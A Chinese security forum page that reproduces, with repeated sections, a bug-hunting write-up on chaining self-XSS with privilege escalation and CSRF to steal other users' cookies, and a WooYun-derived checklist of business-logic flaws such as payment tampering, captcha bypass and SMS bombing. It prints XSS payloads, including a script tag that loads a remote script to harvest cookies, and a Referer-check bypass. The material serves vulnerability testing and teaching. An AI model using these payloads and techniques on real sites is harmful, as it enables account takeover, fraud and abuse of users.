Web业务安全

Web业务安全

漏洞挖掘中的脑洞大开---使用漏洞组合拳扩大漏洞危害

渗透实战分享lawliet 发表了文章 • 5 个评论 • 650 次浏览 • 2018-07-28 22:51 • 来自相关话题

这篇文章给大家分享一下我在漏洞挖掘中对一些漏洞组合拳的利用方法,相信大家在漏洞挖掘中都遇到过这样一个问题,比如我发现了一个存储型xss,但是只是鸡肋的selfxss,只能自己看到才能触发、又或者是单单的csrf
、或者没有实质危害的越权漏洞等,就算提交了也只能算低危,如果小伙伴们在漏洞挖掘中遇到了这些问题,那么这篇文章或许可以帮到各位一些,下面我通过我挖掘到的两个利用漏洞组合拳的方式,分享一下如何将低危漏洞变成高危
组合拳一式:selfxss+水平越权漏洞
虽然只是一个selfxss,但是结合水平越权添加的话,可以向其他用户个人中心添加xss payload,从而使该目标网站的目标用户去触发该xss漏洞,将js恶意代码在其浏览器执行
举个栗子:
用户中心设置信息的地方没有对xss过滤导致存在存储型xss漏洞
尝试新增常用联系人,在详细地址的位置插入xss的payload




<script>alert(document.cookie)</script>





但是此处有可能只是一个selfxss,如果只是能打到自己的cookie,那么这个存储型xss就会显得很鸡肋。但是这个网站存在一个越权添加个人信息的漏洞,越权的漏洞之前也提交过一次,在添加的时候通过修改user_id可以越权将信息添加到其它用户里,在这里可以利用越权漏洞将xsspayload插入其他用户的个人中心里去扩大这个selfxss的危害,简单来说就是利用越权添加和selfxss的组合拳增加这个selfxss的危害,这样就可以打到其他用户的cookie
还是之前测试越权的两个账号
用户名:格鲁特   用户id:112054
用户名:火箭    用户id:112069
首先在格鲁特的个人中心中添加常用联系人,之前说了在详细地址处存在存储型xss,这里插入加载远程js的xsspayload,同时使用xss平台接收信息
 
xsspayload:<script src=xss平台上的远程脚本></script>
之后抓包,数据包里有个参数为user_id,这个参数可控,导致可以越权






修改数据包中的user_id,尝试将此条包含xsspayload的信息越权添加到其他用户的个人信息中,如果成功,那么其他用户在登陆后查看时就会触发xss代码加载远程脚本,将用户的cookie打到我们的xss平台上,这里将user_id改为火箭用户的id(112069)






可以看到添加成功,但是在当前的账号上看不到刚刚添加的信息






然后使用火箭账号登陆,可以看到包含xsspayload的信息是否已经被越权添加到火箭用户的常用信息中,可以看到火箭用户在登陆后查看联系人信息时我们的xss平台就能接收到火箭用户的cookie






接下来将获取到的火箭用户的cookie替换为格鲁特用户的cookie,可以看到成功登陆到了火箭的账号
而且user_id只有6位数,是可以遍历的,如果遍历了所有的uid,那么就可以打到所有用户的cookie,所以漏洞的危害还是非常大的,所以通过selfxss+水平越权两个低危漏洞组合就可以变成一个影响严重的高危漏洞
组合拳二式:selfxss+csrf
selfxss危害不够,只能自己弹自己?遇到这样的低危漏洞千万不要放过它,结合一下csrf,会有想不到的效果
举个栗子:
在个人中心签名处,经过测试发现存在存储型xss,虽然网站将alert替换为了空,但是只替换了一次,所以通过构造payload:" onmouseover="alalertert(1)









提交完签名后刷新页面后发现可以弹框






但是貌似这个只能自己看到,因为不确定管理员能否看到自己的签名,所以如果只是一个self的存储型xss的话,危害可能并不会那么大
别急,咱们继续往下看,既然是提交签名的话,一定会发送一次http请求的,所以猜测这一点可能存在csrf,经过测试确实是存在的,但是该网站对csrf是有防御的,因为发送请求时带上了referer头,并且服务端对referer头做了检查,经过一番fuzz后发现referer头里面只要有该网站的域名就可以绕过服务端对csrf的限制
于是想到了一个思路,那就是在自己服务器上创建一个名为"该网站域名.html"的页面,这样的话http请求中的referer里面就会有该网站域名,从而可以绕过对csrf的过滤,页面通过ajax发送一次提交签名的请求,参数为我们构造的xss代码,然后诱使已经登陆该网站的用户使用同一浏览器去访问我服务器上的页面,使该用户在不知情的情况下去更改自己的签名,将签名更改为xss的代码,我们就可以通过js去控制他的浏览器了
为了看到效果,我们先把签名给改回来






之后模拟受害者使用同一浏览器去访问我服务器的页面






可以看到用户在不知情的情况下发送了一次提交签名的请求,完成了这次的跨站请求伪造,然后再看一下个人中心,可以看到xss代码已经成功写入到受害者的个人签名






可以看到通过selfxss+csrf漏洞的组合拳可以产生巨大的危害,比如我们可以通过csrf将盗取用户cookie的xss代码写入到受害者中心,或者控制浏览器跳转任意页面等,不过签名在服务端限制了只能为30个字符,但是如果加载比较短的域名应该还是可以的
总结:
这是我在漏洞挖掘中遇到的两个比较有意义的组合利用,总之,在漏洞挖掘中,遇到低危漏洞时,不要急着提交,先看看有没有可以扩大其危害的漏洞,可以尝试组合一下,我相信类似的问题或者脑洞还有不少,以后自己遇到了还会去总结。各位师傅们有什么好的思路的话,欢迎补充~~
 
 
  查看全部
这篇文章给大家分享一下我在漏洞挖掘中对一些漏洞组合拳的利用方法,相信大家在漏洞挖掘中都遇到过这样一个问题,比如我发现了一个存储型xss,但是只是鸡肋的selfxss,只能自己看到才能触发、又或者是单单的csrf
、或者没有实质危害的越权漏洞等,就算提交了也只能算低危,如果小伙伴们在漏洞挖掘中遇到了这些问题,那么这篇文章或许可以帮到各位一些,下面我通过我挖掘到的两个利用漏洞组合拳的方式,分享一下如何将低危漏洞变成高危
组合拳一式:selfxss+水平越权漏洞
虽然只是一个selfxss,但是结合水平越权添加的话,可以向其他用户个人中心添加xss payload,从而使该目标网站的目标用户去触发该xss漏洞,将js恶意代码在其浏览器执行
举个栗子:
用户中心设置信息的地方没有对xss过滤导致存在存储型xss漏洞
尝试新增常用联系人,在详细地址的位置插入xss的payload

1.png
<script>alert(document.cookie)</script>

1.png


但是此处有可能只是一个selfxss,如果只是能打到自己的cookie,那么这个存储型xss就会显得很鸡肋。但是这个网站存在一个越权添加个人信息的漏洞,越权的漏洞之前也提交过一次,在添加的时候通过修改user_id可以越权将信息添加到其它用户里,在这里可以利用越权漏洞将xsspayload插入其他用户的个人中心里去扩大这个selfxss的危害,简单来说就是利用越权添加和selfxss的组合拳增加这个selfxss的危害,这样就可以打到其他用户的cookie
还是之前测试越权的两个账号
用户名:格鲁特   用户id:112054
用户名:火箭    用户id:112069
首先在格鲁特的个人中心中添加常用联系人,之前说了在详细地址处存在存储型xss,这里插入加载远程js的xsspayload,同时使用xss平台接收信息
 
xsspayload:
<script src=xss平台上的远程脚本></script>

之后抓包,数据包里有个参数为user_id,这个参数可控,导致可以越权

1.png


修改数据包中的user_id,尝试将此条包含xsspayload的信息越权添加到其他用户的个人信息中,如果成功,那么其他用户在登陆后查看时就会触发xss代码加载远程脚本,将用户的cookie打到我们的xss平台上,这里将user_id改为火箭用户的id(112069)

0.png


可以看到添加成功,但是在当前的账号上看不到刚刚添加的信息

2.png


然后使用火箭账号登陆,可以看到包含xsspayload的信息是否已经被越权添加到火箭用户的常用信息中,可以看到火箭用户在登陆后查看联系人信息时我们的xss平台就能接收到火箭用户的cookie

7.png


接下来将获取到的火箭用户的cookie替换为格鲁特用户的cookie,可以看到成功登陆到了火箭的账号
而且user_id只有6位数,是可以遍历的,如果遍历了所有的uid,那么就可以打到所有用户的cookie,所以漏洞的危害还是非常大的,所以通过selfxss+水平越权两个低危漏洞组合就可以变成一个影响严重的高危漏洞
组合拳二式:selfxss+csrf
selfxss危害不够,只能自己弹自己?遇到这样的低危漏洞千万不要放过它,结合一下csrf,会有想不到的效果
举个栗子:
在个人中心签名处,经过测试发现存在存储型xss,虽然网站将alert替换为了空,但是只替换了一次,所以通过构造payload:
" onmouseover="alalertert(1)




4.png


提交完签名后刷新页面后发现可以弹框

18.png


但是貌似这个只能自己看到,因为不确定管理员能否看到自己的签名,所以如果只是一个self的存储型xss的话,危害可能并不会那么大
别急,咱们继续往下看,既然是提交签名的话,一定会发送一次http请求的,所以猜测这一点可能存在csrf,经过测试确实是存在的,但是该网站对csrf是有防御的,因为发送请求时带上了referer头,并且服务端对referer头做了检查,经过一番fuzz后发现referer头里面只要有该网站的域名就可以绕过服务端对csrf的限制
于是想到了一个思路,那就是在自己服务器上创建一个名为"该网站域名.html"的页面,这样的话http请求中的referer里面就会有该网站域名,从而可以绕过对csrf的过滤,页面通过ajax发送一次提交签名的请求,参数为我们构造的xss代码,然后诱使已经登陆该网站的用户使用同一浏览器去访问我服务器上的页面,使该用户在不知情的情况下去更改自己的签名,将签名更改为xss的代码,我们就可以通过js去控制他的浏览器了
为了看到效果,我们先把签名给改回来

03.png


之后模拟受害者使用同一浏览器去访问我服务器的页面

49.png


可以看到用户在不知情的情况下发送了一次提交签名的请求,完成了这次的跨站请求伪造,然后再看一下个人中心,可以看到xss代码已经成功写入到受害者的个人签名

26.png


可以看到通过selfxss+csrf漏洞的组合拳可以产生巨大的危害,比如我们可以通过csrf将盗取用户cookie的xss代码写入到受害者中心,或者控制浏览器跳转任意页面等,不过签名在服务端限制了只能为30个字符,但是如果加载比较短的域名应该还是可以的
总结:
这是我在漏洞挖掘中遇到的两个比较有意义的组合利用,总之,在漏洞挖掘中,遇到低危漏洞时,不要急着提交,先看看有没有可以扩大其危害的漏洞,可以尝试组合一下,我相信类似的问题或者脑洞还有不少,以后自己遇到了还会去总结。各位师傅们有什么好的思路的话,欢迎补充~~
 
 
 

业务安全漏洞挖掘归纳总结

Web安全渗透admin 发表了文章 • 8 个评论 • 1341 次浏览 • 2016-11-04 15:05 • 来自相关话题

文章出处:乌云drops文章
摘要: 0x00 索引说明 6.30在OWASP的分享,关于业务安全的漏洞检测模型。进一步的延伸科普。

0x00 索引说明
6.30在OWASP的分享,关于业务安全的漏洞检测模型。进一步的延伸科普。











0x01 身份认证安全
[]暴力破解 [/]在没有验证码限制或者一次验证码可以多次使用的地方,使用已知用户对密码进行暴力破解或者用一个通用密码对用户进行暴力破解。 简单的验证码爆破。URL: http://zone.wooyun.org/content/20839 一些工具及脚本BurpsuitehtpwdScan 撞库爆破必备 URL: https://github.com/lijiejie/htpwdScanhydra 源码安装xhydra支持更多的协议去爆破 (可破WEB,其他协议不属于业务安全的范畴) []session & cookie类[/]会话固定攻击:利用服务器的session不变机制,借他人之手获得认证和授权,冒充他人。案例:WooYun: 新浪广东美食后台验证逻辑漏洞,直接登录后台,566764名用户资料暴露!Cookie仿冒:修改cookie中的某个参数可以登录其他用户。 案例:益云广告平台任意帐号登录WooYun: 益云广告平台任意帐号登录[]弱加密[/]未使用https,是功能测试点,不好利用。前端加密,用密文去后台校验,并利用smart decode可解0x02 业务一致性安全[]手机号篡改[/]a) 抓包修改手机号码参数为其他号码尝试,例如在办理查询页面,输入自己的号码然后抓包,修改手机号码参数为其他人号码,查看是否能查询其他人的业务。[]邮箱或者用户篡改[/]a) 抓包修改用户或者邮箱参数为其他用户或者邮箱b) 案例: WooYun: 绿盟RSAS安全系统全版本通杀权限管理员绕过漏洞,包括最新 RSAS V5.0.13.2[]订单id篡改[/]a) 查看自己的订单id,然后修改id(加减一)查看是否能查看其它订单信息。b) 案例: WooYun: 广之旅旅行社任意访问用户订单[]商品编号篡改[/]a) 例如积分兑换处,100个积分只能换商品编号为001,1000个积分只能换商品编号005,在100积分换商品的时候抓包把换商品的编号修改为005,用低积分换区高积分商品。b) 案例:联想某积分商城支付漏洞再绕过 WooYun: 联想某积分商城支付漏洞再绕过[]用户id篡改[/]a) 抓包查看自己的用户id,然后修改id(加减1)查看是否能查看其它用户id信息。b) 案例: WooYun: 拉勾网百万简历泄漏风险(包括手机、邮件、应聘职位等信息、还可冒充企业身份筛选简历、发面试通知等) 0x03 业务数据篡改[]金额数据篡改[/]a) 抓包修改金额等字段,例如在支付页面抓取请求中商品的金额字段,修改成任意数额的金额并提交,查看能否以修改后的金额数据完成业务流程。b) 案例: WooYun: 12308订单支付时的总价未验证漏洞(支付逻辑漏洞)[]商品数量篡改[/]a) 抓包修改商品数量等字段,将请求中的商品数量修改成任意数额,如负数并提交,查看能否以修改后的数量完成业务流程。b) 案例: WooYun: 蔚蓝团支付逻辑漏洞(可负数支付)[]最大数限制突破[/]a) 很多商品限制用户购买数量时,服务器仅在页面通过js脚本限制,未在服务器端校验用户提交的数量,通过抓包修改商品最大数限制,将请求中的商品数量改为大于最大数限制的值,查看能否以修改后的数量完成业务流程。[]本地js参数修改[/]a) 部分应用程序通过Javascript处理用户提交的请求,通过修改Javascript脚本,测试修改后的数据是否影响到用户。0x04 用户输入合规性[]注入测试 请参考http://wiki.wooyun.org/web:sql[/][]XSS测试 请参考http://wiki.wooyun.org/web:xss[/][]Fuzz[/]a) 功能测试用的多一些,有可能一个超长特殊字符串导致系统拒绝服务或者功能缺失。(当然fuzz不单单这点用途。)b) 不太符合的案例,但思路可借鉴: WooYun: 建站之星模糊测试实战之任意文件上传漏洞c) 可能会用的工具 —— spike[]其他用用户输入交互的应用漏洞[/]0x05 密码找回漏洞[]大力推荐BMa的《密码找回逻辑漏洞总结》 http://drops.wooyun.org/web/5048[/][]密码找回逻辑测试一般流程[/]i. 首先尝试正常密码找回流程,选择不同找回方式,记录所有数据包ii. 分析数据包,找到敏感部分iii. 分析后台找回机制所采用的验证手段iv. 修改数据包验证推测[]脑图 (详情请参考BMa的《密码找回逻辑漏洞总结》)[/]0x06 验证码突破验证码不单单在登录、找密码应用,提交敏感数据的地方也有类似应用,故单独分类,并进一步详情说明。[]验证码暴力破解测试[/]a) 使用burp对特定的验证码进行暴力破解b) 案例: WooYun: 盟友88电商平台任意用户注册与任意用户密码重置漏洞打包[]验证码时间、次数测试[/]a) 抓取携带验证码的数据包不断重复提交,例如:在投诉建议处输入要投诉的内容信息,及验证码参数,此时抓包重复提交数据包,查看历史投诉中是否存在重复提交的参数信息。[]验证码客户端回显测试[/]a 当客户端有需要和服务器进行交互,发送验证码时,即可使用firefox按F12调出firebug就可看到客户端与服务器进行交互的详细信息[]验证码绕过测试[/]a) 当第一步向第二步跳转时,抓取数据包,对验证码进行篡改清空测试,验证该步骤验证码是否可以绕过。b) 案例: WooYun: 中国电信某IDC机房信息安全管理系统设计缺陷致使系统沦陷[]验证码js绕过[/]a) 短信验证码验证程序逻辑存在缺陷,业务流程的第一步、第二部、第三步都是放在同一个页面里,验证第一步验证码是通过js来判断的,可以修改验证码在没有获取验证码的情况下可以填写实名信息,并且提交成功。0x07 业务授权安全[]未授权访问[/]a) 非授权访问是指用户在没有通过认证授权的情况下能够直接访问需要通过认证才能访问到的页面或文本信息。可以尝试在登录某网站前台或后台之后,将相关的页面链接复制于其他浏览器或其他电脑上进行访问,看是否能访问成功。[]越权访问[/]越权漏洞的成因主要是因为开发人员在对数据进行增、删、改、查询时对客户端请求的数据过分相信而遗漏了权限的判定[]a) 垂直越权(垂直越权是指使用权限低的用户可以访问权限较高的用户)[/][]b) 水平越权(水平越权是指相同权限的不同用户可以互相访问)(wooyun-2010-0100991 PHPEMS多处存在水平权限问题)[/][]c) 《我的越权之道》URL:http://drops.wooyun.org/tips/727 0x08 业务流程乱序[/]0x08 业务流程乱序[]顺序执行缺陷[/]a) 部分网站逻辑可能是先A过程后B过程然后C过程最后D过程b) 用户控制着他们给应用程序发送的每一个请求,因此能够按照任何顺序进行访问。于是,用户就从B直接进入了D过程,就绕过了C。如果C是支付过程,那么用户就绕过了支付过程而买到了一件商品。如果C是验证过程,就会绕过验证直接进入网站程序了。c) 案例:WooYun: 万达某分站逻辑错误可绕过支付直接获得取票密码http://wooyun.org/bugs/wooyun-2010-01081840x09 业务接口调用安全[]重放攻击[/]在短信、邮件调用业务或生成业务数据环节中(类:短信验证码,邮件验证码,订单生成,评论提交等),对其业务环节进行调用(重放)测试。如果业务经过调用(重放)后被多次生成有效的业务或数据结果[]a) 恶意注册[/][]b) 短信炸111弹[/]在测试的过程中,我们发现众多的金融交易平台仅在前端通过JS校验时间来控制短信发送按钮,但后台并未对发送做任何限制,导致可通过重放包的方式大量发送恶意短信案例: WooYun: 一亩田交易网逻辑漏洞(木桶原理)[]内容编辑[/]似案例如下:点击“获取短信验证码”,并抓取数据包内容,如下图。通过分析数据包,可以发现参数sendData/insrotxt的内容有客户端控制,可以修改为攻击者想要发送的内容


将内容修改“恭喜你获得由xx银行所提供的iphone6一部,请登录http://www.xxx.com领取,验证码为236694”并发送该数据包,手机可收到修改后的短信内容,如下图:


0x10 时效绕过测试大多有利用的案例发生在验证码以及业务数据的时效范围上,在之前的总结也有人将12306的作为典型,故,单独分类。[]时间刷新缺陷[/]12306网站的买票业务是每隔5s,票会刷新一次。但是这个时间确实在本地设置的间隔。于是,在控制台就可以将这个时间的关联变量重新设置成1s或者更小,这样刷新的时间就会大幅度缩短(主要更改autoSearchTime本地参数)。 案例:WooYun: 12306自动刷票时间可更改漏洞[]时间范围测试[/]

针对某些带有时间限制的业务,修改其时间限制范围,例如在某项时间限制范围内查询的业务,修改含有时间明文字段的请求并提交,查看能否绕过时间限制完成业务流程。例如通过更改查询手机网厅的受理记录的month范围,可以突破默认只能查询六个月的记录。
 

0x11 参考
@eversec
应用程序逻辑错误总结 http://drops.wooyun.org/papers/1418
密码找回功能可能存在的问题 http://drops.wooyun.org/papers/287
密码找回功能可能存在的问题(补充) http://drops.wooyun.org/web/3295
密码找回逻辑漏洞总结 http://drops.wooyun.org/web/5048
支付漏洞的三种常见类型——加固方案 http://zone.wooyun.org/content/878
在线支付逻辑漏洞总结 http://drops.wooyun.org/papers/345
金融行业平台常见安全漏洞与防御 http://www.freebuf.com/news/special/61082.html
我的越权之道 http://drops.wooyun.org/tips/727
  查看全部
文章出处:乌云drops文章
摘要: 0x00 索引说明 6.30在OWASP的分享,关于业务安全的漏洞检测模型。进一步的延伸科普。

0x00 索引说明
6.30在OWASP的分享,关于业务安全的漏洞检测模型。进一步的延伸科普。


Image.png

Image1.png



0x01 身份认证安全
    []暴力破解 [/]

在没有验证码限制或者一次验证码可以多次使用的地方,使用已知用户对密码进行暴力破解或者用一个通用密码对用户进行暴力破解。 简单的验证码爆破。URL: http://zone.wooyun.org/content/20839 一些工具及脚本BurpsuitehtpwdScan 撞库爆破必备 URL: https://github.com/lijiejie/htpwdScanhydra 源码安装xhydra支持更多的协议去爆破 (可破WEB,其他协议不属于业务安全的范畴)

 
    []session & cookie类[/]

会话固定攻击:利用服务器的session不变机制,借他人之手获得认证和授权,冒充他人。案例:WooYun: 新浪广东美食后台验证逻辑漏洞,直接登录后台,566764名用户资料暴露!Cookie仿冒:修改cookie中的某个参数可以登录其他用户。 案例:益云广告平台任意帐号登录WooYun: 益云广告平台任意帐号登录

    []弱加密[/]

未使用https,是功能测试点,不好利用。前端加密,用密文去后台校验,并利用smart decode可解

0x02 业务一致性安全
    []手机号篡改[/]

a) 抓包修改手机号码参数为其他号码尝试,例如在办理查询页面,输入自己的号码然后抓包,修改手机号码参数为其他人号码,查看是否能查询其他人的业务。

    []邮箱或者用户篡改[/]

a) 抓包修改用户或者邮箱参数为其他用户或者邮箱b) 案例: WooYun: 绿盟RSAS安全系统全版本通杀权限管理员绕过漏洞,包括最新 RSAS V5.0.13.2

    []订单id篡改[/]

a) 查看自己的订单id,然后修改id(加减一)查看是否能查看其它订单信息。b) 案例: WooYun: 广之旅旅行社任意访问用户订单

    []商品编号篡改[/]

a) 例如积分兑换处,100个积分只能换商品编号为001,1000个积分只能换商品编号005,在100积分换商品的时候抓包把换商品的编号修改为005,用低积分换区高积分商品。b) 案例:联想某积分商城支付漏洞再绕过 WooYun: 联想某积分商城支付漏洞再绕过

    []用户id篡改[/]

a) 抓包查看自己的用户id,然后修改id(加减1)查看是否能查看其它用户id信息。b) 案例: WooYun: 拉勾网百万简历泄漏风险(包括手机、邮件、应聘职位等信息、还可冒充企业身份筛选简历、发面试通知等) 

0x03 业务数据篡改
    []金额数据篡改[/]

a) 抓包修改金额等字段,例如在支付页面抓取请求中商品的金额字段,修改成任意数额的金额并提交,查看能否以修改后的金额数据完成业务流程。b) 案例: WooYun: 12308订单支付时的总价未验证漏洞(支付逻辑漏洞)

    []商品数量篡改[/]

a) 抓包修改商品数量等字段,将请求中的商品数量修改成任意数额,如负数并提交,查看能否以修改后的数量完成业务流程。b) 案例: WooYun: 蔚蓝团支付逻辑漏洞(可负数支付)

    []最大数限制突破[/]

a) 很多商品限制用户购买数量时,服务器仅在页面通过js脚本限制,未在服务器端校验用户提交的数量,通过抓包修改商品最大数限制,将请求中的商品数量改为大于最大数限制的值,查看能否以修改后的数量完成业务流程。

    []本地js参数修改[/]

a) 部分应用程序通过Javascript处理用户提交的请求,通过修改Javascript脚本,测试修改后的数据是否影响到用户。

0x04 用户输入合规性
    []注入测试 请参考http://wiki.wooyun.org/web:sql[/][]XSS测试 请参考http://wiki.wooyun.org/web:xss[/][]Fuzz[/]

a) 功能测试用的多一些,有可能一个超长特殊字符串导致系统拒绝服务或者功能缺失。(当然fuzz不单单这点用途。)b) 不太符合的案例,但思路可借鉴: WooYun: 建站之星模糊测试实战之任意文件上传漏洞c) 可能会用的工具 —— spike

    []其他用用户输入交互的应用漏洞[/]
0x05 密码找回漏洞
    []大力推荐BMa的《密码找回逻辑漏洞总结》 http://drops.wooyun.org/web/5048[/][]密码找回逻辑测试一般流程[/]

i. 首先尝试正常密码找回流程,选择不同找回方式,记录所有数据包ii. 分析数据包,找到敏感部分iii. 分析后台找回机制所采用的验证手段iv. 修改数据包验证推测

    []脑图 (详情请参考BMa的《密码找回逻辑漏洞总结》)[/]
0x06 验证码突破验证码不单单在登录、找密码应用,提交敏感数据的地方也有类似应用,故单独分类,并进一步详情说明。
    []验证码暴力破解测试[/]

a) 使用burp对特定的验证码进行暴力破解b) 案例: WooYun: 盟友88电商平台任意用户注册与任意用户密码重置漏洞打包

    []验证码时间、次数测试[/]

a) 抓取携带验证码的数据包不断重复提交,例如:在投诉建议处输入要投诉的内容信息,及验证码参数,此时抓包重复提交数据包,查看历史投诉中是否存在重复提交的参数信息。

    []验证码客户端回显测试[/]

a 当客户端有需要和服务器进行交互,发送验证码时,即可使用firefox按F12调出firebug就可看到客户端与服务器进行交互的详细信息

    []验证码绕过测试[/]

a) 当第一步向第二步跳转时,抓取数据包,对验证码进行篡改清空测试,验证该步骤验证码是否可以绕过。b) 案例: WooYun: 中国电信某IDC机房信息安全管理系统设计缺陷致使系统沦陷

    []验证码js绕过[/]

a) 短信验证码验证程序逻辑存在缺陷,业务流程的第一步、第二部、第三步都是放在同一个页面里,验证第一步验证码是通过js来判断的,可以修改验证码在没有获取验证码的情况下可以填写实名信息,并且提交成功。

0x07 业务授权安全
    []未授权访问[/]

a) 非授权访问是指用户在没有通过认证授权的情况下能够直接访问需要通过认证才能访问到的页面或文本信息。可以尝试在登录某网站前台或后台之后,将相关的页面链接复制于其他浏览器或其他电脑上进行访问,看是否能访问成功。

    []越权访问[/]

越权漏洞的成因主要是因为开发人员在对数据进行增、删、改、查询时对客户端请求的数据过分相信而遗漏了权限的判定

    []a) 垂直越权(垂直越权是指使用权限低的用户可以访问权限较高的用户)[/][]b) 水平越权(水平越权是指相同权限的不同用户可以互相访问)(wooyun-2010-0100991 PHPEMS多处存在水平权限问题)[/][]c) 《我的越权之道》URL:http://drops.wooyun.org/tips/727 0x08 业务流程乱序[/]

0x08 业务流程乱序
    []顺序执行缺陷[/]

a) 部分网站逻辑可能是先A过程后B过程然后C过程最后D过程b) 用户控制着他们给应用程序发送的每一个请求,因此能够按照任何顺序进行访问。于是,用户就从B直接进入了D过程,就绕过了C。如果C是支付过程,那么用户就绕过了支付过程而买到了一件商品。如果C是验证过程,就会绕过验证直接进入网站程序了。c) 案例:WooYun: 万达某分站逻辑错误可绕过支付直接获得取票密码http://wooyun.org/bugs/wooyun-2010-0108184

0x09 业务接口调用安全
    []重放攻击[/]

在短信、邮件调用业务或生成业务数据环节中(类:短信验证码,邮件验证码,订单生成,评论提交等),对其业务环节进行调用(重放)测试。如果业务经过调用(重放)后被多次生成有效的业务或数据结果

    []a) 恶意注册[/][]b) 短信炸111弹[/]
在测试的过程中,我们发现众多的金融交易平台仅在前端通过JS校验时间来控制短信发送按钮,但后台并未对发送做任何限制,导致可通过重放包的方式大量发送恶意短信案例: WooYun: 一亩田交易网逻辑漏洞(木桶原理)

    []内容编辑[/]

似案例如下:点击“获取短信验证码”,并抓取数据包内容,如下图。通过分析数据包,可以发现参数sendData/insrotxt的内容有客户端控制,可以修改为攻击者想要发送的内容

Image3.png
将内容修改“恭喜你获得由xx银行所提供的iphone6一部,请登录http://www.xxx.com领取,验证码为236694”并发送该数据包,手机可收到修改后的短信内容,如下图:
Image4.png

0x10 时效绕过测试大多有利用的案例发生在验证码以及业务数据的时效范围上,在之前的总结也有人将12306的作为典型,故,单独分类。
    []时间刷新缺陷[/]

12306网站的买票业务是每隔5s,票会刷新一次。但是这个时间确实在本地设置的间隔。于是,在控制台就可以将这个时间的关联变量重新设置成1s或者更小,这样刷新的时间就会大幅度缩短(主要更改autoSearchTime本地参数)。 案例:WooYun: 12306自动刷票时间可更改漏洞

    []时间范围测试[/]


针对某些带有时间限制的业务,修改其时间限制范围,例如在某项时间限制范围内查询的业务,修改含有时间明文字段的请求并提交,查看能否绕过时间限制完成业务流程。例如通过更改查询手机网厅的受理记录的month范围,可以突破默认只能查询六个月的记录。
 


0x11 参考
@eversec
应用程序逻辑错误总结 http://drops.wooyun.org/papers/1418
密码找回功能可能存在的问题 http://drops.wooyun.org/papers/287
密码找回功能可能存在的问题(补充) http://drops.wooyun.org/web/3295
密码找回逻辑漏洞总结 http://drops.wooyun.org/web/5048
支付漏洞的三种常见类型——加固方案 http://zone.wooyun.org/content/878
在线支付逻辑漏洞总结 http://drops.wooyun.org/papers/345
金融行业平台常见安全漏洞与防御 http://www.freebuf.com/news/special/61082.html
我的越权之道 http://drops.wooyun.org/tips/727
 

业务安全漏洞挖掘归纳总结

Web安全渗透admin 发表了文章 • 8 个评论 • 1341 次浏览 • 2016-11-04 15:05 • 来自相关话题

文章出处:乌云drops文章
摘要: 0x00 索引说明 6.30在OWASP的分享,关于业务安全的漏洞检测模型。进一步的延伸科普。

0x00 索引说明
6.30在OWASP的分享,关于业务安全的漏洞检测模型。进一步的延伸科普。











0x01 身份认证安全
[]暴力破解 [/]在没有验证码限制或者一次验证码可以多次使用的地方,使用已知用户对密码进行暴力破解或者用一个通用密码对用户进行暴力破解。 简单的验证码爆破。URL: http://zone.wooyun.org/content/20839 一些工具及脚本BurpsuitehtpwdScan 撞库爆破必备 URL: https://github.com/lijiejie/htpwdScanhydra 源码安装xhydra支持更多的协议去爆破 (可破WEB,其他协议不属于业务安全的范畴) []session & cookie类[/]会话固定攻击:利用服务器的session不变机制,借他人之手获得认证和授权,冒充他人。案例:WooYun: 新浪广东美食后台验证逻辑漏洞,直接登录后台,566764名用户资料暴露!Cookie仿冒:修改cookie中的某个参数可以登录其他用户。 案例:益云广告平台任意帐号登录WooYun: 益云广告平台任意帐号登录[]弱加密[/]未使用https,是功能测试点,不好利用。前端加密,用密文去后台校验,并利用smart decode可解0x02 业务一致性安全[]手机号篡改[/]a) 抓包修改手机号码参数为其他号码尝试,例如在办理查询页面,输入自己的号码然后抓包,修改手机号码参数为其他人号码,查看是否能查询其他人的业务。[]邮箱或者用户篡改[/]a) 抓包修改用户或者邮箱参数为其他用户或者邮箱b) 案例: WooYun: 绿盟RSAS安全系统全版本通杀权限管理员绕过漏洞,包括最新 RSAS V5.0.13.2[]订单id篡改[/]a) 查看自己的订单id,然后修改id(加减一)查看是否能查看其它订单信息。b) 案例: WooYun: 广之旅旅行社任意访问用户订单[]商品编号篡改[/]a) 例如积分兑换处,100个积分只能换商品编号为001,1000个积分只能换商品编号005,在100积分换商品的时候抓包把换商品的编号修改为005,用低积分换区高积分商品。b) 案例:联想某积分商城支付漏洞再绕过 WooYun: 联想某积分商城支付漏洞再绕过[]用户id篡改[/]a) 抓包查看自己的用户id,然后修改id(加减1)查看是否能查看其它用户id信息。b) 案例: WooYun: 拉勾网百万简历泄漏风险(包括手机、邮件、应聘职位等信息、还可冒充企业身份筛选简历、发面试通知等) 0x03 业务数据篡改[]金额数据篡改[/]a) 抓包修改金额等字段,例如在支付页面抓取请求中商品的金额字段,修改成任意数额的金额并提交,查看能否以修改后的金额数据完成业务流程。b) 案例: WooYun: 12308订单支付时的总价未验证漏洞(支付逻辑漏洞)[]商品数量篡改[/]a) 抓包修改商品数量等字段,将请求中的商品数量修改成任意数额,如负数并提交,查看能否以修改后的数量完成业务流程。b) 案例: WooYun: 蔚蓝团支付逻辑漏洞(可负数支付)[]最大数限制突破[/]a) 很多商品限制用户购买数量时,服务器仅在页面通过js脚本限制,未在服务器端校验用户提交的数量,通过抓包修改商品最大数限制,将请求中的商品数量改为大于最大数限制的值,查看能否以修改后的数量完成业务流程。[]本地js参数修改[/]a) 部分应用程序通过Javascript处理用户提交的请求,通过修改Javascript脚本,测试修改后的数据是否影响到用户。0x04 用户输入合规性[]注入测试 请参考http://wiki.wooyun.org/web:sql[/][]XSS测试 请参考http://wiki.wooyun.org/web:xss[/][]Fuzz[/]a) 功能测试用的多一些,有可能一个超长特殊字符串导致系统拒绝服务或者功能缺失。(当然fuzz不单单这点用途。)b) 不太符合的案例,但思路可借鉴: WooYun: 建站之星模糊测试实战之任意文件上传漏洞c) 可能会用的工具 —— spike[]其他用用户输入交互的应用漏洞[/]0x05 密码找回漏洞[]大力推荐BMa的《密码找回逻辑漏洞总结》 http://drops.wooyun.org/web/5048[/][]密码找回逻辑测试一般流程[/]i. 首先尝试正常密码找回流程,选择不同找回方式,记录所有数据包ii. 分析数据包,找到敏感部分iii. 分析后台找回机制所采用的验证手段iv. 修改数据包验证推测[]脑图 (详情请参考BMa的《密码找回逻辑漏洞总结》)[/]0x06 验证码突破验证码不单单在登录、找密码应用,提交敏感数据的地方也有类似应用,故单独分类,并进一步详情说明。[]验证码暴力破解测试[/]a) 使用burp对特定的验证码进行暴力破解b) 案例: WooYun: 盟友88电商平台任意用户注册与任意用户密码重置漏洞打包[]验证码时间、次数测试[/]a) 